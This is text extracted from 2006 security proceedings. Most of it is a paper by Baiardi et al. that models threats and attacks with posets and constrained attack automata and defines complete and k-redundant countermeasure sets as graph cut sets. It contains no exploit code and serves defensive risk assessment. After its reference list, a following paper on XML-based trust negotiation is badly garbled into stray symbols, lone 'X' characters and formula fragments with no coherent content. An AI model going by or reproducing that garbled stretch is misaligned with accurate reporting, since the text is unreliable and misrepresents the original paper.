prosecution. To this purpose, we introduce a distinct poset P(Kr) for each kind Kr of resources that attacks require. The elements of P(Kr) represents distinct levels of availability of Kr. Hence, n distinct kinds of resources are modelled by n posets P(Kr1), …, P(Krn) and a threat T will be modelled as a tuple , where each rai belongs to P(Kri). An elementary attack A is modelled in terms of posets too because it is represented by a tuple where each rri belongs to P(Kri) and it defines the amount of the resource that is required to implement A. A threat T can implement the attack A only if each value of is not smaller than the corresponding one of . n is fixed for the assessment and it depends upon the detail level of the assessment. We model the goals of a threat T as a subset SR(T) of the resources of TS. In this way, we can deduce the attacks T is interested in because each successful attack enables T to control a subset of the resources of TS. In turn, this implies that each state S of the automata may be mapped into the resources R(S) that a threat control after executing the attacks leading to S. Hence, T is interested in executing the attacks leading to state S only if interested in controlling R(Fs), that is if R(Fs) ⊆ SR(T). Sect. 1 discusses the modeling of threats and of elementary attacks in terms of the resources they, respectively, control and require. Attack automata and constrained attack automata are introduced in Sect. 2. The risk mitigation step and the definition of attack countermeasure is discussed in Sect. 3. Each countermeasure may consist in a

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

35

new component or in a control that prevents the success of an elementary attack. This section formally defines the notion of a complete set of countermeasures i.e. a set of countermeasures that can stop any attack against the target system. Formally, the definition of a complete set of countermeasures for a constrained attack automaton prevent some transitions in the automata and it may be described as a cut set of a graph defined in terms of the automaton. Lastly, we define a k-redundant set of countermeasures, where k>1, defined a set of countermeasures that can prevent an attack even if at most k of its controls are faulty. The notion of constrained attack automaton is inspired to that of attack graph [1, 9, 12, 16, 18, 23, 24, 27, 30, 34, 35] and several concepts are similar in the two frameworks. The main difference is that automata do explicitly model the order in which elementary attacks are executed while a graph may state that some attacks are required before a further one can be implemented but does not need to specify the execution order of such attacks. From this point of view, attack graphs are similar to And/Or attack tree [9, 17, 28] because they define the decomposition of complex attacks into elementary ones without constraining the execution order of elementary attacks. From our point of view, the order of attacks is important when defining the countermeasure of attacks. As attack graphs, attack automata may be exploited both in the planning of attacks or of countermeasures as well as in the analysis of information returned by a set of sensors to discover attacks that are currently going on against the system [7, 10, 11, 14, 20, 21, 26]. However, attack graphs have never been considered in the framework of modelling resources available to the various threats [33]. 1. Modelling Threats and Elementary Attacks through Posets This section discusses the modelling of elementary attacks and threats as tuples of elements of a poset. The model does not fix the number of elements in a tuple because it depends upon both the considered assessment and the detail level of the assessment. We discuss at first the modelling of threats in terms of poset and then the modelling of attacks. In the following, we neglect threats such as a flooding or an earthquake. 1.1. Threat Modelling A threat can successfully implement an attack provided that it can access the resources the attack requires and it is willing to accept the risk of being discovered. Each feature may be modelled in terms of a partially ordered set, a set of elements and a partial order among the elements. In the following, the poset <SA, <sa > and the poset <SR, <sr > describe, respectively, the resources available and the risk aversion of the threats. In security, posets have been often be applied to model access rights [4]. At first, we consider SA and <sa . Any element of SA corresponds to a distinct amount of resources. If a1 and a2 belong to SA and a1 < sa a2, then the amount of resources modelled by a1 is smaller than the one modelled by a2. Smaller means that it can be collected more easily or, from another point of view, that is available to a larger number of people. The adoption of partial order make it possible to consider also cases where some of the elements cannot be compared. As an example, this happens if the

36

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

resources are skills and abilities. Two attacks could require, respectively, skills and abilities in distinct languages and ordering these skills and abilities is not only rather complex but also inappropriate. Each element of SR corresponds to a risk the threat is willing to accept. An element of SR is larger than another if it corresponds to the acceptance of a larger risk. In other word, if two threats are paired with, respectively, r1 and r2 and r1 <sr r2, then the threat paired with r2 is willing to accept a risk larger than the other one when executing an attack. In general, one poset does not support an accurate evaluation of the resources available to a threat. The accuracy increases if distinct kinds of resources are modelled through distinct posets. Hence, in the most general case, each threat T will be characterized by a tuple Tu(T) of n, n>1, values. The first n-1 values of Tu(T) describe the resources T can exploit in its attack, while the last one describes the attitude of T towards risk. Larger values of this element model larger risks T is willing to accept. Suppose, as an example, attacks against an application written in a language PL and running on an operative system OS. In a first, simple, case, we can model the knowledge required by an attack through the four elements poset shown in Fig. 1a. If a more detailed modelling is required, then we can adopt the poset Fig. 1.b that distinguish among distinct levels of knowledge of either or both topics. An even more complex solution adopts two posets to model the two know hows. A further issue to be considering when modelling a threat T is the goals of T. In the following we assume that each goal corresponds to a distinct subset of the resources of the target system. In the most general case, the resource available to a threat and the risk aversion of the threat are a function of its goals. If T has several alternative goals, then resource availability and risk aversion change according to the goals. Therefore, in the following we decompose T into a set of “virtual” threats, each with just one goal, that is one of the goals of T. To interpreter the results of the assessment for T, we merge all the results for the virtual threats resulting from the decomposition of T. In the following, threat denotes a virtual threat. 1.2 Attack Modelling The first step of attack modelling decomposes each attack into one or more sequences of elementary attacks. An elementary attack does not need to be further decomposed because it involves the application of just one exploit. The decomposition will be described in more details in the next section. Here we are interested in the description of an elementary attack in terms of both the resources it requires implement and the corresponding risk. An elementary attack is modelled in the same way of a threat, that is through a tuple of values, one for each poset. All the considerations for threats applies to attacks as well. Notice that each poset should include all the elements required to model both any attack and any threat. Hence, the definition of a poset should consider both all the threats and all the elementary attacks. In turns, this implies that an iterative refinement of the posets may be required as new attacks and/or new threats are taken into account.

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

37

know-how on both PL and OS

knowhow on PL

know-how on OS

no know how a) A poset modelling the know-how of a threat OS: deep know-how PL: deep know-how

OS: deep know-how

PL: deep know-how

PL: low know-how

OS: low know-how

OS: low know-how

PL: low know how

no know how b) A more detailed modelling the know-how of a threat

Figure 1 Alternative posets to model a threat

Let us assume that the elementary attack ea and the threat t are paired, respectively, with the tuples resreq(ea) and resav(t). The attack ea is feasible for T if and only if each element of resreq(a) no larger than to the corresponding element of resav(T). The notion of feasible attack for a threat resumes the constrains on the resources required to successfully implement an attack. In the following we assume that the resources used for an elementary attacks may be reused for a further elementary attack.

2. Attack Automata and Constrained Attack Automata This section introduces the notion of attack automata that describes one or more complex attacks, i.e. one or more sequences of elementary attacks, against the target

38

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

system. Then, the notion of attack automaton evolves into that of constrained attack automaton. While an attack automaton is always associated with a target system, two kinds of constrained automata will be introduced that are associated with, respectively, a single threat and the target system. 2.1. Attack Automata An attack automaton AA(TS) is a, nondeterministic or deterministic, finite state machine that models attacks of any complexity against the system TS. To this purpose: a) each initial state of the machine corresponds to a state of TS where no attack has been executed yet, b) each state fs of the machine corresponds a set of resources controlled by an attacker, let such resources be denoted by rcs(fs), c) each elementary attack at is paired with a unique label la(at) and each component c with a unique label la(c) so that each transaction is paired with a pair of labels to describe the attack and the component that is attack target , d) if la is the label of the attack att(la) then resreq(la) is the n-tuple that describes the resources to implement att(la), e) if there is a transition from a state s1 to a state s2 then rcs(s1)⊆rcs(s2) because each attack cannot decrease the number of resources controlled by the attacker. This corresponds to the monotic property of attack graphs [34]. The mapping of each state into the resources the threat controls is a generalization of [8] that pairs states and access privileges. A complex attack that results in the control of a set SR of resources by the attacker is described as a sequence of transitions from an initial state to the one corresponding to the control of resources in SR. By pairing each transition with both an attack and a component, automata can easily model instances of the same attack against distinct components because they will be associated with the same attack label. In general, two attacks are instances of the same one if they exploit the same vulnerability and the same attack mechanisms in distinct instances of the same components. The existence of a label for the component allows us to model cases where vulnerabilities has been removed from some but not all the instances of the components used in the target system. This simplifies the analysis with respect the case where a transaction is labelled by a vulnerability only. Formally, an attack automaton is a tuple <S, Is, Fs, Al, Co, Tr, Rcs > where i) S is the set of the states, ii) Is is the set of inital states , Is⊆S, iii) Fs is the set of final states, Fs ⊆S, Is ∩Fs =Ø, iv) Al is the set of attack labels, v) Co is the set of component labels, vi) Tr is the set of transitions, Tr⊆S × S ×Al×Co, vii) Rcs maps a state into the resources controlled by the attacker. It satisfies a non decreasing condition so that for <s1,s2, a, c> ∈ Tr then rcs(s1)⊆rcs(s2). Tr is different from S × S ×Al×Co because an attack may be ineffective in some state. Initial and final states of the automata are disjoint because in an initial state a

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

39

threat cannot control the resources it is interested in. Alternative distinct initial states support the modelling of attacks of distinct threats. Consider, as an example, an attack of a user of the target system, i.e. to increase the available privileges, vs the attack of someone that does not have an account on the target system. The two attacks begin in distinct states of the target system. In the following, we denote the I-th element of AA(TS) by AA(TS)/i , i∈ 1..7. An important property of attack automata is that they are acyclic, i.e. a sequence of transition cannot visit the same state twice or a sequence of attacks cannot lead to one of the states that has already been visited. If we consider that each automaton state corresponds to a set of resources controlled by the attacker, any cycle includes at least one useless attack that cannot increase the resources the threat already controls. As already recalled, AA(TS) describes all the attacks against TS, independently of the existence of a threat that can implement them. The next section describes how to simplify the automaton when considering the resources available to threats. 2.2. Constrained Attack Automata This section introduces a two steps procedure to build the automaton that describes all the attacks of a given set of threats against the target system. The first step builds, for each threat, an automaton describing all the attacks the threat can implement. Then, the second step merges all these automata into a single one. 2.2.1. Automaton associated with a Threat CAA(TS, T), the constrained attack automaton associated with TS and with a threat T, is an attack automaton that describes the attacks T can implement against TS only. CAA(TS,T) is a subset of AA(TS) because it has the same number of elements of AA(TS,T) and each element of CAA(TS,T) is included in the corresponding one of AA(TS, T). The transformation of AA(TS) into CAA(TS, T) removes 1. the states T cannot reach or is not interested in reaching 2. the transitions that cannot occur because T cannot implement the corresponding attacks due to resource constrains. Let us consider, at first, the states removed from AA(TS). They are removed in a forward step and in a backward one. The forward step removes from AA(TS) all the initial states that T cannot use to begin an attack and all those that can be reached from a previously removed state only. Then, the backward step removes all the final states that do not correspond to any goal of T and all the states that leads to these states only. To formally define this, we introduce two sets, Ri and Rf, that include, respectively, the initial states of AA(TS) that T cannot use and the final states that T is not interested in reaching. Then, we remove 1. the states in Ri ∪Rf from the states in AA(TS)/1, 2. the states in Ri from those in AA(TS)/2, 3. the states in Rf from those in AA(TS)/3.

40

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

We recursively remove now any state that either cannot longer be reached from the states in AA(TS)/2-Ri or that does no lead to a final state. We now remove from AA(TS) the transitions corresponding to attacks requiring resources not available to T. T can implement any attack corresponding to the transition <s1, s2, la, c> only if any element of resreq(la) is not larger than the corresponding element of resav(T). Any transaction violating this condition corresponds to an attack not feasible for T that should removed from AA(TS) together with all the states that cannot be reached from the initial states and those that do no leads to a final state. Any remaining state can be reached because T can • starts any of its attacks in any initial state • implement any attack corresponding to a transaction of CAA(TS,T). Furthermore, each state that is not final leads to at least one final state. In a more formal setting, the constrains on the resources available to, and the risk aversion of, T define a subset of attack labels to be removed from AA(TS)/4 and of transactions with such labels to be removed from AA(TS)/7. Then, any state that either is unreachable or does not lead to a final state is removed from AA(TS)/1 and AA(TS)/3. If CAA(TS,T) does not include at least one final state of AA(TS), i.e. all the final states of AA(TS) have been removed or CAA(TS,T)/3 is empty, then any attack of T will be unsuccessful because it does not allow T to reach the final states it is interested in. Notice that this does not imply that T will not attempt to attack TS but rather that these attacks do not allow T to reach its goals. Hence, the assessment may neglect T. Obviously, the assessment terminates if no threat can implement a successful attack against TS.

A

C

D

B

E

F

G

Figure 2. A subset of an attack automaton

Consider, as an example, the poset in Fig. 1b) and a threat T that can access a know how corresponding to element (OS deep, PL low) of the poset. Furthermore, let AA(TS) include the states represented in Fig. 2 that also shows all and only the transactions among the considered states. C, E and G are the final states that enable, respectively, the control of R1, R2 and R3. If T is not interested in controlling R2, then both E and D do not belong to CAA(TS,T) because T is not interested in the

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

41

resources in Rcs(E) while D leads to E only. Furthermore, these states do not belongs to CAA(TS,T) also if T cannot access the resources to implement the attack a1 paired with the transaction from B to D. As an example, this happens if the attack requires an amount of resource corresponding to the maximum of the poset in Fig. 1.b. If T cannot implement a2, paired with the transaction from A to B, then all the states in Fig. 2 are eliminated when transforming AA(TS) into CAA(TS, T). 2.2.2. Automaton Associated with the Target System CAA(TS), the constrained attack automaton associated with TS, is produced by merging the constrained automata CAA(TS, T) for any threat T. This implies that a state st of AA(TS) belongs to CAA(TS) iff there is at least one threat T such that st belongs to CAA(TS,T). In the same way, a transaction tr of AA(TS) belongs to CAA(TS) only if it belongs to CAA(TS,T) for some T. Consider again the automaton described in Fig. 2 and assume that T1 can implement the attacks a2 and a3 from A to C, while T2 can implement these attacks as well as a1 and a2 from A to E. Lastly, no threat can implement the attack a5 from F to G. Fig. 3 shows CAA(TS, T1), CAA(TS, T2) and CAA(TS). CAA(TS) describes the attacks that can be successfully implemented taking into account the threats, the elementary attacks, the risk aversion of each threat, the resources each attack requires and those available to a threat. This is the minimal attack automaton to be considered by the assessment because no transition or no state may removed from the automaton without losing information on attacks that may occur.

3. Risk Mitigation This step introduces a set of countermeasure for the attacks modeled by CAA(TS). We do not detail what a countermeasure is, in general, it is any security mechanism or policy that can prevent the successful implementation of an attack. It may consist in • a new component that replaces one where a vulnerability has been detected, • a set of checks to discover an attack and prevent it successful execution, • a new component that prevents the threat from exploiting the vulnerability. Countermeasures introduce a further constraint on the attacks paired by the same label because they are modelled as instances of the same attack, namely the existence of at least one countermeasure that prevents all the attacks and that can applied to any component affected by the vulnerability. If such a countermeasure does not exist, then the attacks are not instances of the same one and the analysis should be repeated after • splitting the attacks paired with the same label into disjoint subsets and • pairing each subset with a distinct label. As any other component, a countermeasure may be unsuccessful because of static or dynamic faults. To take suh a failure into account, redundancy can be introduced to further increase system robustness. In the following, we consider independent countermeasures only, i.e. we assume that a failure in one countermeasure does not influence any other countermeasure.

42

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

C

A

B

a)

CAA(TS, T1) C

A

B D

b)

CAA(TS, T2)

C

A

E

B

D

E

c) CAA(TS) Figure 3. Constrained attack automata for distinct threats and the resulting automaton

3.1. Constrained Attack Automata and Countermeasures To model risk mitigation, that is the application of countermeasures, or defensive actions [12, 23, 24], we remove from a constrained attack automata the transitions paired with attacks prevented by the countermeasures. This section is focused on static countermeasures, defined as those that remove a vulnerability before attacks occur and that stop any attack occurring after the risk mitigation step. As defined in the next section, a dynamic countermeasures can be applied as the attack is going on only. Consider an attack a1 associated with a transition of CAA(TS), if can apply a countermeasure for a1., no threat can successfully execute a 1 against c, hence < s1, s2, a1, c> for any s1 and s2, cannot belong to CAA(TS). Let Acm(CAA(TS)) be the set of pairs < a1,c> such that the countermeasure for a1 has been applied to c. We are interested in a complete set of countermeasures Cocm(CAA(TS)), or in the critical set of attacks [12, 23, 24, 34], that is in a set of pairs such that after removing the corresponding transactions, CAA(TS) cannot reach any final state. A set of countermeasure is minimal if it is complete and none of its subset is complete. In the following we denote by Cocm(TS) a complete set of countermeasure and neglect it depends upon CAA(TS). To characterize Cocm(TS), we consider AG(TS), the labelled directed graph that describes the automaton of CAA(TS). AG(TS) includes a distinct node n(s) for each state s of AG(TS). If s is an initial (final) state, then n(s) is an initial (final) node of the graph. Furthermore, AG(TS) includes a arc from n(s1) to

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

43

n(s2) labeled by if < s1, s2, a, c> belongs to CAA(TS). AG(TS) is acyclic because CAA(TS) is acyclic and it includes at least one path from an initial node to a final one because if no such path exists, then no countermeasure is required. We recall that a set of arc CS(G) of a graph G is a cut set of G if, by removing all the arcs in S, no final node can be reached. A cut set is minimal if none of its subsets is a cut set. Since any set of countermeasures Cocm(TS) removes from AG(TS) all the arcs in A(Cocm(TS)) labeled by elements in Cocm(TS). We have that • Cocm(TS) is complete iff A(Cocm(TS) ) is a cut set of AG(TS) • Cocm(TS) is minimal iff A(Cocm(TS)) is a minimal cut set of AG(TS). In the graph in Fig.4, where A and H are the initial states and C, E and G the final ones, the set of countermeasures for and is a complete one because by removing the corresponding arcs, no final state can be reached. It is not minimal because the property holds even if we do not remove the arc . Another complete, but not minimal, set includes the countermeasures for ,, . The set of countermeasures for , , defines a minimal and complete set for the graph in Fig.5, because none of its subset is a cut set. A further complete and minimal set includes the countermeasures for and .

C

A

B

2

H

D

E

F

G

Figure 4. A CAA(TS)

C

B

A

H

D

E

F

G

Figure 5. Complete and minimal sets of countermeasures.

A complete set of countermeasure prevents the successful execution of any attack because no final state can be reached after removing the elementary attacks prevented by the countermeasures. A set of countermeasures is minimal if one final state can be reached if any of its countermeasures is not applied. Notice that a minimal set of

44

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

countermeasure does not define, in general, a minimal cut set of the attack graph because any time we introduce a countermeasure for an attack labeled by la and apply it to a component c, this removes all the arcs labeled . Only if the set of countermeasure is optimal, the cut set is a minimal one. In terms of the automaton, we have that a set of countermeasures is complete if for final state and any path, the set include at least one transition on the path. Another important notion is that of redundant set of countermeasures. Such set may include several countermeasures to take into account that some of them could fail because of errors or fault in the implementation of the countermeasure. A set of countermeasure is k-redundant if can prevent any successful attack even if at most k of its countermeasures fail. As an example, a set of countermeasures is 2-redundant if it prevents any successful attack even if no more of two countermeasures fail. The set of countermeasure previously considered is a 0-redundant set. Since the failure of a countermeasure may be described as an arc that has not been removed from AG(TS), a k-redundant set of countermeasure can be defined as the union of k pairwise disjoint cut sets of AG(TS) so that if one arc is not removed because of the failure of a countermeasure, other countermeasures can stop the threat. In a more formal setting, a k-redundant set of countermeasures is the union of CM1, … CMk, where for any 1≤i, j≤k • Cmi is a complete set of countermeasures • CMi∩CMj=∅. To prove this consider that in the most general, and severe, graph all the arcs are labeled by a distinct pair and no arcs on distinct paths from an initial state to a final one have the same label. A complete, and minimal, set of countermeasure CS can be defined by considering an arc for each path and by including in CS a countermeasure for . If an arc belongs to two sets of countermeasure, a final state can be reached if the corresponding countermeasure fails, hence the two sets do not define a k-redundant set for any k≠0. Hence, in general, an intersection between two sets of countermeasures reduces by one the degree of redundancy. As a consequence, a k-redundant set can be defined only if each path from an initial state to a final one includes at least k arcs with distinct labels. Shorter path prevents the definition of a k-redundant set because all the countermeasures for the attacks corresponding to the labels on the path may fail. 3.2. Dynamic Countermeasures We consider now dynamic countermeasures, that is countermeasures that do not remove the vulnerability but try to prevent the evolution of the target system TS into a state where the threat achieve it goals. These countermeasures can be modeled as a set of actions to be executed to defend TS upon discovering that it has entered a given state. We assume the actions are executed by a defender that is by the system owner to prevent an attacker to control TS. As a consequence, the overall situation can be modeled by an automaton where some transitions occur because of an elementary attack, while other transitions are due to the defender actions. Obviously, the goal of

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

45

threat is a sequence of transitions ending in a final state of the automaton, that of the defender is a sequence of transitions that returns TS to an initial state or at least that prevents TS from reaching a final state. Notice that some state can be paired with no action of the defender. This models the case where the defender has no visibility of the state, i.e. the defenders cannot know that TS has entered into the corresponding state. Notice that a state can be paired with a defender action provided that it is not a final one because final states model the success of the attack. An interactive automaton describes the results of the actions of the attacker, i.e. of the threat, and of those of the defender. To define the automaton, we have to specify the sequence of elementary attacks to be executed starting from an initial state, the equivalence relation among states and the defender actions for the various classes. At each step, we consider the current state of the automata cs and the next elementary attack, ea, the first action of the attacker sequence of actions still to be considered. The actions of the attacker or of the defender are defined a priori, independently of the those of the opponent. The following rule is applied: • if cs is not paired with an action of the defender, then ea is applied. This consumes the action, i.e. the action following ea in the sequence is considered • if cs is paired with an action ad of the defender, then the automaton chooses in a nondeterministic way whether to execute ad or ea. If it chooses ea, then it enters a state where a distinct defender action will be considered. If, instead, it chooses ad, then ea is not consumed and it may be executed in the next state. A further case is the one where the action of the attacker depends upon the considered state of the automaton. Now, the attacker actions are not known in advance because the i-th action depends upon the i-th state of the automaton. In this case: • the attacker actions are a function of the state that has been reached by the automaton, an empty action is possible • the defender actions may be specified for each state. An empty action is paired with a state that is no visible to the defender and with other states as well. • in each state that specifies both an attacker action and a defender, a nondeterministic choice occurs • for each initial state there is at least one sequence of attacker actions that leads the automaton in a final state • in any initial or final state no action of the defender is possible. Because of nondeterminism, the execution of the automaton may terminate in a set of states. The following cases may occur: a) any state is a final one: this denotes a complete success of the attacker, b) any state is an initial one: this denotes a complete success of the defender, c) at least one state is final: this will be considered as a success of the attacker, d) no set is final and at least one is initial: this will be considered as a partial success of the defender. In case a), the actions of the defenders are ineffective because only final states are reached. The reverse is true in case b) because the target system is restored into a correct state. Case c) is the most interesting one where either a success or a failure of the attacks is possible according to the timing of the action. The last case is the most

46

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

ambiguous one because the target system is left in a state that is not correct and where new attacks can be more effective. Consider now an automaton where the execution ends in a set of states including at least one final state fs. We say that a state s is critical if an execution reaches fs because of a choice done in s. A state s belongs to cs(fs), the critical set of a final state fs, if it is critical for at least one attack sequence. The critical set points out the states where the choice of the action to be executed influences the final results. In order to automatize such analysis, we plan to model it as a module checking problem and apply the formal techniques for checking the behavior of systems in presence of several uncertain environments as specified in [12]. Ideally, we could model each environment (attacker) that induces an outcome of its interactions on the system (defender). With such techniques we can check all the possible outcomes (attacks vs countermeasures).

4. Conclusion This work has presented some tools to support a formal approach to risk assessment. In particular, we have considered attack automata that support the modelling of complex attacks as alternative sequences of elementary attacks against a system component. To determine the attacks that can be actually be executed, posets are defined to evaluate the resources a threat can access and to compare these resources against those required to implement the attack. In this way, the automata that describe the attack against the considered target system can be simplified by removing those attacks that no threat can execute. The adoption of static countermeasures can be formally described in terms of a cut set of a graph that describes the attack automaton. Dynamic countermeasures can be described as further state transitions besides those modeling elementary attacks. The main problem still to be considered is the probability that an attack occurs and the corresponding risk. A correct evaluation of this probability requires the availability of information about the history of the system and not only formal tools for the assessment. References [1] [2] [3] [4] [5] [6] [7] [8]

P. Ammann , D. Wijesekera , S. Kaushik, Scalable, Graph-based Network Vulnerability Analysis, 9th ACM Conf. on Computer and Communications security, Nov. 18-22, 2002, Washington, DC, USA W. A. Arbaugh, W. L. Fithen, J. McHugh , Windows of Vulnerabilits: a Case Study Analysis, IEEE Computer, December 2002, p.52 - 59. R. Baldwin, H.Kuang, Rule Based Security Checking, Technical Report, MIT Lab for Computer Science, May 1994. M.Bishop, Computer Security, Addison Wesley, 2003. CC-project, Evaluation Methodology, Common Criteria for IT Security Evaluation”, CEM-99/045 Aug.1999. CC-project, User Guide. Common Criteria for IT Security Evaluation, Oct. 1999. F.Cuppens, A. Miège, Alert Correlation in a Cooperative Intrusion Detection Framework, 2002 IEEE Symposium on Security and Privacy, p.202, May 12-15, 2002 M.Dacier, Towards Quantitative Evaluation of Computer Security, Ph.D Thesis, Institute National Polytechnique de Tolouse, Dec 1994

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment [9]

[10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]

[21]

[22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36]

47

J. Dawkins, C. Campbell, J. Hale, Modeling Network Attacks: Extending the Attack Tree Paradigm, Workshop on Statistical and Machine Learning Techniques in Computer Intrusion Detection, Johns Hopkins University, June 2002. C. W. Geib and R. P. Goldman, Plan Recognition in Intrusion Detection System, DARPA Information Survivability Conference and Exposition (DISCEX II), June 2001. R. P. Goldman, W. Heimerdinger, and S. A. Harp. Information Modeling for Intrusion Report Aggregation, DARPA Information Survivability Conference and Exposition (DISCEXII), June 2001. Orna Kupferman and Moshe Y. Vardi, Module Checking, 8th Int. Conference on Computer Aided Verification, LNCS 1102, p. 75-86, 1997. S. Jajodia, S. Noel, B. O'Berry, Topological Analysis of Network Attack Vulnerability, Managing Cyber Threats: Issues, Approaches and Challenges, Kluwer Academic Publisher, 2003. C. Lala, B. Panda, Evaluating damage from cyber attacks: a model and analysis, IEEE Transactions on Systems, Man, and Cybernetics - Part A: Systems and Humans, vol 31 (4), July 2001, p.300- 310. U. Lindqvist, E. Jonsson, How to Systematically Classify Computer Security Intrusions, 1997 IEEE Symposium on Security and Privacy, May 1997. K. Lye, J. Wing, Game strategies in network security, Foundations of Computer Security Workshop, July 2002. R. A. Martin, Managing vulnerabilities in networked system, IEEE Computer, November 2001. p. 32 38. F. Moberg, Security Analysis of an Information System using an Attack Tree-based Methodology, Master thesis, Chalmers University of Technology, 2000. P. Moore, R. J. Ellison, R. C. Linger, Attack Modelling for Information security and Survivability, Technical note CMU/SEI- 2001-TN001. P. Ning , P.Cui , D. S. Reeves, “Constructing attack scenarios through correlation of intrusion alerts”, Proc. of the 9th ACM conference on Computer and communications security, November 2002, Washington, DC, USA. P. Ning, D. Xu, C. Healey, R. .St. Amant, Building Attack Scenarios through Integration of Complementary Alert Correlation Methods, 11th Annual Network and Distributed System Security Symposium, February, 2004. P. Ning, D. Xu, Hypothezing and Reasoning about Attacks Missed by IDSs, ACM Trans. On Information System Security, Vol.7, No.4, Nov. 2004, pp. 591-627 R.W. Ritchey , P. Ammann, Using Model Checking to Analyze Network Vulnerabilities, 2000 IEEE Symposium on Security and Privacy, p.156, May 14-17, 2000. S. Jha, O. Sheyner, J. M. Wing. Minimization and Reliability Analyses of Attack Graphs. Technical Report CMUCS-02-109, Carnegie Mellon University, February 2002. S. Jha , O. Sheyner , J. Wing, Two Formal Analysis of Attack Graphs, 15th IEEE Computer Security Foundations Workshop ,p.49, June 24-26, 2002. C. Phillips, L. Painton Swiler, A graph-based system for network-vulnerability analysis, Workshop on New Security Paradigms, p.71-79, September 22-26, 1998. X. Qin, W. Lee, Attack Plan Recognition and Prediction Using Causal Networks, 20th Annual Computer Security Applications Conference pp. 370-379, 2004 R. Ritchey , B. O'Berry, S. Noel, Representing TCP/IP Connectivity For Topological Analysis of Network Security, 18th Annual Computer Security Applications Conference, p.25, Dec. 2002. B.Schneier, Attack Trees: Modeling Security Threats, Dr. Dobb’s Journal, December 1999. O. Sheyner , J. Haines , S. Jha , R. Lippmann , J. M. Wing, Automated Generation and Analysis of Attack Graphs, IEEE Symposium on Security and Privacy, p.273, May 12-15, 2002 . O. M. Sheyner, Scenario Graphs and Attack Graphs, Ph.D. Thesis, CMU-CS-04-122, April 14, 2004. D. Smith, J. Frank, A.Jonsson, Bridging the Gap Between Planning and Scheduling, Knowledge Engineering Review, 15(1), 2000. L.P. Swiler, C. Phillips, D. Ellis, S. Chakerian, Computer-Attack Graph Generation Tool DARPA Information Survivability Conference & Exposition , June 2001. F.Swideriski, W.Snyder, Threat Modelling, Microsoft Press, 2003. S. J. Templeton , K. Levitt, A Requires/Provides Model for Computer Attacks, Workshop on New security paradigms, p.31-38, September 2000, S. Tidwell, R. Larson, K. Fitch, J. Hale, Modeling Internet Attacks, IEEE Workshop of Information Assurance and Security, June 2001.

48

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

Squicciarini a

a, *

,

a

b

USA

b

X

X *

X

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

X

X X

X X

X

X X

X X

49

50

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

X

X

X

X

X

X X

X

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

51

X X

X

< nct , pct >

nct

pct SPct

CPct X X X ct

ct (vct , Vct , Ect , Θct )

• vct • Vct = Vcte ct

Vcta ct ct

• Ect ⊆ Vct

Vct

• ΘEct : Ect → Label∗ vct

e Ect Vcte

nct Label

Label

Label∗

52

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

SPct CPct < <

[

< < < < < < < <

>

>

> >

>

> >

>

>

< < < ]>

> >

X

X V

V

X X

X

>

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

< <

53

>

< < < < < < < <

>

> > > > >

< <

>

> > > >

< >

<

>

X

X

X

X ct

X cred (vc , Vc , Ec , Θc ) • vc • Vc

• Ec

Vce

X X ct

a c

v X cred

Eca

ct

c

e c

⊆

c

e ∈ Ec

Vc

• ΘEc : Ec → Label

X

Cars

X X P rof ile

X P rof ile X P rof ile

54

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations < < < < < < < < < < < < < < <

>

> > > > > >

< <

> >

>

>

< <

>

>

> >

>

<

<

>

> <

>

> >

>

X

Data sets

X P rof ile

X P rof ile S

X

X

X

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

X

X

X

Resource name attribute list

R.a

a

R

R.a

C •

X a op expr

55

56

• •

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

=, <, >, =, ≤ a 2)

1) •

>1998 3)

X

T

C1 ...Cn

•

P (T )

T

T1 T1

T2 T1

T2

t c

T C(T )

T

T2

T1

t.c

t R

R •

R ← T1 , T2 , , Tn , n ≥ 1 Resource name 2)R ← DELIV •

T1 , T2 , . . . , Tn

R

Resource name delivery policy

∀ p ∈ pol prec set, p.rule

R ← T1 , T2 , . . . , Tn (n ≥ 1)

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

57

R R

R Cert2 Cert3 Cert2 Cert2 pol1

Cert3

Cert1

Cert1 Cert1 Cert1

Cert4 pol1 , pol2 , pol3 pol3

Cert2 pol2 Cert4 Cert3 Cert3 Cert1 Cert2 Cert4

pol1 pol3 pol1

←

pol1 pol2 pol3 pol4

pol2

{pol2

←

← Credit Card(N ame = Rental Car.name < {pol3 , pol1 }, Rental Car ← DELIV )

pol2

58

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

pol2 pol3 pol2 pol4

pol3

pol1

R

{p1 , ..., pk }

R R [p1 , ..., pk ] R • p1 .pol prec set = ∅ • ∀ i ∈ [1, k − 1], pi ∈ pi+1 .pol prec set • pk .rule = R ←

p1 p2 p3 p4 p5 p6

←

← ← ←

← ←

{p1, p2, p3, p4, p5} [p1, p2, p3, p5] [p1, p2, p4, p5]

R R

X

p6

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

59

